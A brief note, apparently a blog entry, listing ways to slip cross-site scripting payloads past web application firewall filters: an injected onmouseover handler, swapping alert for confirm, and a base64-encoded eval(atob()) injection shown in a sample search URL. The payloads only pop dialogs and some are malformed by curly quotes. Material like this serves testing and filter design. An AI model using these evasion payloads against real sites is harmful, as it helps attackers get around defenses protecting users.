Xss bypass waf note

Instance 1,

WAF Filter: ”onmouseover”<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>ByPass:    %d<input type=text name=firstname value=”Anna”%donmouseover=alert(‘XSS within input field’) “>

 

Instance 2, WAF detects alert, because many automatic detection tools use this statement to test XSS

“ onmouseover=alert(‘XSS within input field’)or<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>WAF keyword Filter:alert (some test tools use 'alert')

 

Bypass: 1, use confirm as the payload instead of "alert" instance 3,

Encode to byPass Filter :“eval(atob(“encryptedcontent”))”/*“Y29uZmlybSgxKTs=” is base 64 encoded “confirm(1);”*/URL:http://somesite.com/search?searchterm=%27);eval(atob(“Y29uZmlybSgxKTs=”));//Source:<script>...var foo = escape(‘’);eval(atob(“Y29uZmlybSgxKTs=”));//’);...</script>

 

Reference: http://www.netspi.com